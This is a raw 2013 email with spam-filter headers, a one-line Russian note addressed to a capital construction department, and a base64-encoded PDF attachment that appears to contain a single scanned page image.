admin@salavat-elite.ru X-Scanned-By: ClamAV 0.97.8; Wed, 04 Dec 2013 12:36:53 +0400 X-Barracuda-Connect: s14.cishost.ru[31.41.40.14] X-Barracuda-Start-Time: 1386146233 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142830 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_0927_01CEF0D4.69E76B30 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0928_01CEF0D4.69E76B30" ------=_NextPart_001_0928_01CEF0D4.69E76B30 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2 =CE=D2=C4=C5=CB =CA=C0=CF=C8=D2=C0=CB=DC=CD=CE=C3=CE =D1=D2=D0=CE=C8=D2= =C5=CB=DC=D1=D2=C2=C0 ------=_NextPart_001_0928_01CEF0D4.69E76B30 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C2 =CE=D2=C4=C5=CB =CA=C0=CF=C8=D2=C0=CB=DC=CD=CE=C3=CE =D1=D2=D0=CE= =C8=D2=C5=CB=DC=D1=D2=C2=C0
------=_NextPart_001_0928_01CEF0D4.69E76B30-- ------=_NextPart_000_0927_01CEF0D4.69E76B30 Content-Type: application/octet-stream; name="=?windows-1251?B?w+vg4u3u7PMg6O3m5e3l8PMgzsrRLnBkZg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?w+vg4u3u7PMg6O3m5e3l8PMgzsrRLnBkZg==?=" JVBERi0xLjMgCjEgMCBvYmoKPDwKL1BhZ2VzIDIgMCBSCi9UeXBlIC9DYXRhbG9nCj4+CmVuZG9i agoyIDAgb2JqCjw8Ci9UeXBlIC9QYWdlcwovS2lkcyBbIDMgMCBSIF0KL0NvdW50IDEKPj4KZW5k b2JqCjMgMCBvYmoKPDwKL1R5cGUgL1BhZ2UKL1BhcmVudCAyIDAgUgovUmVzb3VyY2VzIDw8Ci9Y T2JqZWN0IDw8IC9JbTAgOCAwIFIgPj4KL1Byb2NTZXQgNiAwIFIgPj4KL01lZGlhQm94IFswIDAg NTM1LjE0OSA4MDkuMjI1XQovQ3JvcEJveCBbMCAwIDUzNS4xNDkgODA5LjIyNV0KL0NvbnRlbnRz IDQgMCBSCi9UaHVtYiAxMSAwIFIKPj4KZW5kb2JqCjQgMCBvYmoKPDwKL0xlbmd0aCA1IDAgUgo+ PgpzdHJlYW0KcQo1MzUuMTQ5IDAgMCA4MDkuMjI1IDAgMCBjbQovSW0wIERvClEKZW5kc3RyZWFt CmVuZG9iago1IDAgb2JqCjM5CmVuZG9iago2IDAgb2JqClsgL1BERiAvVGV4dCAvSW1hZ2VDIF0K ZW5kb2JqCjcgMCBvYmoKPDwKPj4KZW5kb2JqCjggMCBvYmoKPDwKL1R5cGUgL1hPYmplY3QKL1N1 YnR5cGUgL0ltYWdlCi9OYW1lIC9JbTAKL0ZpbHRlciBbIC9GbGF0ZURlY29kZSBdCi9XaWR0aCA1 MzUKL0hlaWdodCA4MDkKL0NvbG9yU3BhY2UgMTAgMCBSCi9CaXRzUGVyQ29tcG9uZW50IDgKL0xl bmd0aCA5IDAgUgo+PgpzdHJlYW0KeNrsvQ3QXkWVqNtGNBZ6+SuhYoUfJwNHlEGgECc6qUkZB5UR JMJoyjjGihIFjSc1whjLTIWpKDMyxHIYGYeZlE7OCVeQ0eLA1Vhg3Sg6HCo6XBBFg6AGBMlBNKCB AAnp++73+7732+/u7tWre+/3/3kK4/56d69ea3X3Wvv/tRYGwEmveuWgVQAAgJGhlTWmEsfURjmJ VP4EAAAoU04clSRCBgEAABlvEin/N2gFAQBgSPFmDVIJAABogn9TSYRcAwAwZmhSQCNJhBMWAIDx Q47t+vQRzRFkEACAsaQT3g+0qcT5mhmkLJYkAgAwlgh5JJQjQnUqYskgAADjzVSo7wT8chIRnukV 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 